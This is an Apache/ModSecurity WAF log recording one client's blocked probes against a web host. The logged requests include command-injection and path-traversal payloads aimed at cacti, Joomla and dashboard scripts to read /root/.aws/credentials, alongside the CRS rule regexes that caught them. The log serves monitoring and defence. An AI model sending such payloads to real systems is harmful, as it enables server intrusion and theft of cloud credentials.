[Sun Jun 08 02:25:53.824359 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aETYkbUz9CVwWtZ9cYd_rgAAAAI&quot;]
[Sun Jun 08 02:25:53.824560 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pms&quot;] [unique_id &quot;aETYkbUz9CVwWtZ9cYd_rgAAAAI&quot;]
[Sun Jun 08 02:25:59.055982 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /cacti/cmd_realtime.php?action=polldata&amp;host_id=1&amp;local_data_id=1;cat%20../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.056085 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&amp;host_id=1&amp;local_data_id=1;cat%20../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.056152 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&amp;host_id=1&amp;local_data_id=1;cat ../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.056206 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /cacti/cmd_realtime.php?action=polldata&amp;host_id=1&amp;local_data_id=1 cat ../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.056385 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:l[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:local_data_id. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;123&quot;] [id &quot;932100&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: ;cat ../../../../../../../root/.aws/credentials found within ARGS:local_data_id: 1;cat ../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.057260 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 25)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:25:59.057496 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 25 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 25, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cacti/cmd_realtime.php&quot;] [unique_id &quot;aETYl7Uz9CVwWtZ9cYd_sgAAAAI&quot;]
[Sun Jun 08 02:26:00.467351 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYmLUz9CVwWtZ9cYd_swAAAAI&quot;]
[Sun Jun 08 02:26:00.467580 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYmLUz9CVwWtZ9cYd_swAAAAI&quot;]
[Sun Jun 08 02:26:00.467800 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.aws/credentials&quot;] [unique_id &quot;aETYmLUz9CVwWtZ9cYd_swAAAAI&quot;]
[Sun Jun 08 02:26:01.638618 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;fieldid=filename&amp;folder=../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmbUz9CVwWtZ9cYd_tAAAAAI&quot;]
[Sun Jun 08 02:26:01.638689 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php?option=com_media&amp;view=mediaList&amp;tmpl=component&amp;fieldid=filename&amp;folder=../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmbUz9CVwWtZ9cYd_tAAAAAI&quot;]
[Sun Jun 08 02:26:01.638737 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php?option=com_media&amp;view=medialist&amp;tmpl=component&amp;fieldid=filename&amp;folder=../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmbUz9CVwWtZ9cYd_tAAAAAI&quot;]
[Sun Jun 08 02:26:01.639975 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmbUz9CVwWtZ9cYd_tAAAAAI&quot;]
[Sun Jun 08 02:26:01.640176 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmbUz9CVwWtZ9cYd_tAAAAAI&quot;]
[Sun Jun 08 02:26:02.801230 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /index.php?file=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmrUz9CVwWtZ9cYd_tQAAAAI&quot;]
[Sun Jun 08 02:26:02.801297 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php?file=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmrUz9CVwWtZ9cYd_tQAAAAI&quot;]
[Sun Jun 08 02:26:02.801332 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /index.php?file=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmrUz9CVwWtZ9cYd_tQAAAAI&quot;]
[Sun Jun 08 02:26:02.801826 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmrUz9CVwWtZ9cYd_tQAAAAI&quot;]
[Sun Jun 08 02:26:02.802038 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/index.php&quot;] [unique_id &quot;aETYmrUz9CVwWtZ9cYd_tQAAAAI&quot;]
[Sun Jun 08 02:26:04.695732 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ...&quot; at REQUEST_URI_RAW. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;46&quot;] [id &quot;930100&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI_RAW: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ajax_dashboard.php&quot;] [unique_id &quot;aETYnLUz9CVwWtZ9cYd_twAAAAI&quot;]
[Sun Jun 08 02:26:04.695813 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ajax_dashboard.php&quot;] [unique_id &quot;aETYnLUz9CVwWtZ9cYd_twAAAAI&quot;]
[Sun Jun 08 02:26:04.695846 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Pattern match &quot;(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)&quot; at REQUEST_URI. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;69&quot;] [id &quot;930110&quot;] [msg &quot;Path Traversal Attack (/../)&quot;] [data &quot;Matched Data: /../ found within REQUEST_URI: /ajax_dashboard.php?widget=../../../../../../../../root/.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ajax_dashboard.php&quot;] [unique_id &quot;aETYnLUz9CVwWtZ9cYd_twAAAAI&quot;]
[Sun Jun 08 02:26:04.696281 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ajax_dashboard.php&quot;] [unique_id &quot;aETYnLUz9CVwWtZ9cYd_twAAAAI&quot;]
[Sun Jun 08 02:26:04.696467 2025] [:error] [pid 3709499] [client 107.150.0.115:55954] [client 107.150.0.115] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ajax_dashboard.php&quot;] [unique_id &quot;aETYnLUz9CVwWtZ9cYd_twAAAAI&quot;]
